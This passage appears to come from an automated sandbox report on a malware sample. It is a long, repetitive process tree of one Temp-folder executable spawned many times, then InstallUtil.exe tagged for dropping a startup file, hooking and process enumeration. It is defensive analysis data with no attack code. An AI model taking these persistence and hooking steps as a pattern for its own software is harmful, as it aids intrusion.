        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:11872
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:11880
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:11888
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:11896
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:11904
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:11912
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:11920
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:11928
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:11936
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:11944
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:11952
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:11960
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:11968
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:11976
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:11984
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:11992
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12000
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12008
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12016
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12024
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12032
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12040
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12048
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12056
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12064
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12072
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12080
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12088
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12096
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12104
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12112
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12120
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12128
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12136
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12144
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12152
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12160
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12168
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12176
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12184
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12192
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12200
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12208
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12216
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12224
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12232
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12240
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12248
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12256
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12264
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12272
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12280
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:9336
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12296
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12304
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12312
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12320
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12328
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12336
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12344
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12352
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12360
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12368
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12376
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12384
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12392
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12400
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12408
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12416
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12424
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12432
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12440
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12448
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12456
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12464
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12472
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12480
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12488
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12496
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12504
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12512
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12520
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12528
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12536
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12544
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12552
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12560
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12568
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12576
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12584
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12592
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12600
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12608
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12616
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12624
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12632
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12640
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12648
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12656
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12664
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12672
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12680
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12688
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12696
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12704
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12712
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12720
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12728
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12736
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12744
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12752
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12760
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12768
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12776
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12784
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12792
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12800
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12808
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12816
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12824
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12832
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12840
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12848
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12856
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12864
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12872
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12880
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12888
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12896
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12904
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12912
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12920
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12928
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12936
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12944
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12952
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12960
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12968
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12976
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12984
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:12992
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:13000
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:13008
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:13016
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:13024
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:13032
  - - C:\Users\Admin\AppData\Local\Temp\1018355001\fe80c54bb9.exe
      "C:\Users\Admin\AppData\Local\Temp\1018355001\fe80c54bb9.exe"
      4⤵
      PID:8524
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
  2⤵
  - Drops startup file
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:7912

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
